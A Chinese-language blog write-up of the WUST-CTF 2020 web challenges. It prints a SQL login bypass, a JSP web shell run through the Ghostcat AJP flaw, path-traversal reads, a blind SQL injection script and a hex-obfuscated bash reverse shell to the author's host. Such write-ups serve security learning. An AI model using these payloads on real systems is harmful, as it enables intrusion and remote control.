武汉科技大学WUST-CTF 2020 Writeup 5 min read
本文最后更新于 404 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com


Checkin

考点:Recon

难度:简单

打开之后是个输入框,问Who’s the Author,题目描述可知题目作者为52HeRtz,审查元素修改maxlength和disabled后提交

提交得到了一个弹窗,是52HeRtz的博客,其他的经测试都不会验证成功,扫描题目也不再有可用信息

于是来到出题人博客,第一段flag直接查看网页源代码得到,第二段flag在出题人的某个文章中得到,拼起来得到flag:[email protected]_can_Can_@_can}


Admin

考点:万能密码、HTTP

难度:简单

打开之后是个登录框(前端很fine 下秒mine),构造SQL查询布尔值为true登录 测试过滤了空格等字符 不过无所谓:

username=admin&password=admin'or(1)#

登录后来到/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php

必须从本地访问

修改X-Real-IP绕过即可

用GET方式传一个参数ais, 值为520

用POST方式传一个参数wust, 值为1314

照做即可,然后:

你离flag已经很近了,网址给你了:4dz  aste.ubuntu.com/p/    https://p  Rqr  cSf2

很明显是个paste页面,手工重组然后还原一下网址,然后访问得到:

d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9

base64解码:wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}


CV Maker

考点:上传绕过

难度:简单

注册,登录,上传头像,找个可以正常显示的图片马并修改Content-Type(不然会被告知不是图片),上传getshell

flag:wctf2020{congratulation_upl0ad_to_getShe1llllll}

后来看了一眼代码:

$name = $_FILES['upload_file']['name'];
$ext = substr(strrchr($name, '.'), 1);
if (preg_match("/ph|htacess/i", $extn)) {
    echo "illegal suffix!";
}else{
	$img_path = 'uploads/'.md5($_COOKIE["_Hz"]).'.'.$ext;
	$fn = "uploads/".md5($_COOKIE["_Hz"]).".*";
	if (glob($fn)) {
		$ffn = glob($fn)[0];
		unlink($ffn);
	}
    if (move_uploaded_file($temp_file, $img_path)){
        $is_upload = true;
    } else {
        $msg = '上传出错!';
    }
    if ($is_upload) {
    	echo '<div class="cc-profile-image"><a href="#"><img src="'.$img_path.'" alt="Image"/></a></div></br>';
    }else{
    	echo '<div class="h2 title">'.$msg.'</div>';
    }

这里:

$ext = substr(strrchr($name, '.'), 1);
if (preg_match("/ph|htacess/i", $extn)) {
    echo "illegal suffix!";
}

出题人把$ext打成了$extn导致这个后缀黑名单直接不生效。后来问了下出题人,好像可能就是故意的

不然过滤了ph和htaccess,上传基本上无法被绕过了。


easyweb

考点:JSP、CVE-2020-1938幽灵猫文件包含

难度:普通

可以上传任意文件,上传后得到一个链接,点击链接就可以下载

测试发现此处存在任意文件读取,可以随意下载:

http://47.96.229.52:12121/download?file=../../../../../../../etc/passwd

但是因为不知道flag文件名,失败。

直接访问这个download页面,由报错得到路径:

Error
/usr/local/tomcat/webapps/ROOT/WEB-INF/uploads/null (No such file or directory)

包含以下web.xml:

http://47.96.229.52:12121/download?file=../web.xml
<welcome-file-list>
    <welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>

主页是/views/index.jsp,上传的文件保存在uploads/目录下,但是uploads不可访问,所以虽然能随意上传文件但是不能通过http直接访问得到。

幽灵猫漏洞不仅可以文件读取,还可以文件包含(某些PoC只能读取不能包含)。我们可以任意上传JSP木马并得知路径,只要通过AJP包含这个jsp就能执行里面的代码,就通过文件包含实现了RCE。

最开始弹shell弹了好几次都没弹回来,于是直接写了一个带回显的命令执行:

<%@ page import="java.io.*"%> 
<%
int a;
out.print("Y1ng   ");
Process child = Runtime.getRuntime().exec("要执行的命令");
InputStream in = child.getInputStream();
while ( in.read() != -1) { 
	a = in.read();
	out.print((char)a); 
}
in.close();
%>

上传,然后用ajpshooter包含:

# python3 ajpshooter.py http://47.96.229.52:12121/ 8009 /WEB-INF/uploads/81523052-cf61-46bd-af50-8eb10e898ffc.jsp eval
_ _ __ _ _ 
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ 
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | 
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| 
|__/|_| 
00theway,just for test


[<] 200 200
[<] Set-Cookie: JSESSIONID=5D0399FA21988BD12D830E953C8CDC29; Path=/; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 56


Y1ng     命令执行的结果

通过ls知道flag的位置:/flaaaag/what_you_want

之后可以RCE来cat也可以直接用网站自带的功能把flag下载下来。flag:wctf2020{0h_you_are_amazing_babyyyy}


朴实无华

考点:Recon、最好的语言trick、MD5碰撞、简单bypass

难度:普通

打开题目啥也没有,丢进扫描器,发现fl4g.php

访问得到源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

一共三层绕过,思路清晰。

第一层:

$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
    echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
    die("金钱解决不了穷人的本质问题");
}

需要绕过intval(),由于intval()可以处理的不仅仅是十进制,还有八进制、十六进制、科学计数法等。写个测试脚本:

<?
$a = $_GET['a'];
echo intval($a) . " ";
echo intval($a+1) ;

传入1e5,输出:1 100001,绕过成功

原因:

首先$a是字符串所以intval()返回了字母前的数字,也就是e前面的1

echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1

然后$a+1进行了字符串与数字相加的运算,在php中,这种结果取决于这个字符串长什么样,就$a+1来讲:

  • $a数字开头、中间有其他字母,比如123y1ng,将$a从字符串转数字,转换结果为开头的数字,实际运算为123+1
  • $a字母开头,比如y1ng,转数字结果为0,实际运算为0+1
  • $a是1e5这种科学计数法形式,先转成1×10^5也就是10000,再10000+1

所以输入了1e5,在进行加一之后,就从1变成了100001,绕过成功

第二层:

$md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";

可见,需要穿进去一个字符串,然后和他自身的md5比较,如果弱相等则通过。

常见套路是找到0e开头后面都是数字的md5进行弱相等比较,因为他们被认为是科学计数法,而且0乘任何数都为0,得以绕过。但是本题目需要找一个0e+数字的字符串(不一定非要是md5一样的长度),然后md5它自身扔为0e开头。

查下百度没找到,所以自己写个脚本爆破:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#颖奇L'Amore www.gem-love.com
#转载请勿删除水印

import hashlib

for i in range(0,10**33):
    i = str(i)
    # i = i.zfill(33)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    if md5[0:2] == '0e' and md5[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break
    else:
        print("trying {}".format(num))

跑了40多分钟,终于爆破出来了:

绕过成功

第三层:

$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
    system($get_flag);
}

RCE,但是有两点:

  • 不能有空格
  • 不能cat

老套路了,空格用${IFS}绕过,cat用more等命令绕过

get_flag=more${IFS}`ls`

当然也可以弹shell:

echo${IFS}62617368202D69203E26202F6465762F7463702F67656D2D6C6F76652E636F6D2F313233353820303E2631|xxd${IFS}-r${IFS}-p|bash

flag:[email protected][email protected]_@_go0d_time_enj0y_1t}


颜值成绩查询

考点:布尔盲注

难度:普通

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#颖奇L'Amore www.gem-love.com #转载请勿删除水印
import requests
from urllib.parse import *
res = ''
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

for i in range(1,100):
	for char in alphabet:
		# information_schema,ctf
		# payload = "select/**/group_concat(schema_name)/**/from/**/information_schema.schemata"

		#flag,score
		# payload = "select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()" 

		#flag,value,id,name,score
		# payload = 'select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()'
		
		[email protected]_sq1_and_y0u_sc0re_1t}
		payload = "select/**/group_concat(value)/**/from/**/flag"
		payload = quote(payload)
		url='http://101.200.53.102:10114/?stunum=2/(ascii(substr(({}),{},1))={})'.format(payload, i, ord(char))
		r = requests.get(url)
		# print(r.text[2473:2499])
		if '666' in r.text:
			res += char
			print(res)
			break

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2176.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

评论

  1. zrzz

    admin 中构造SQL查询布尔值为true登录这步是什么意思啊,web萌新

    1年前
    2020-3-30 21:28:19
    • 比如where password = ‘xx’ or 1=1,用or的话有一个True则true,1=1肯定true所以返回true

      1年前
      2020-4-01 14:04:48
  2. zrzz

    admin那一题 构造SQL查询布尔值为true登录 是什么操作啊,web萌新问一问

    1年前
    2020-3-30 21:34:42

发送评论 编辑评论

上一篇
下一篇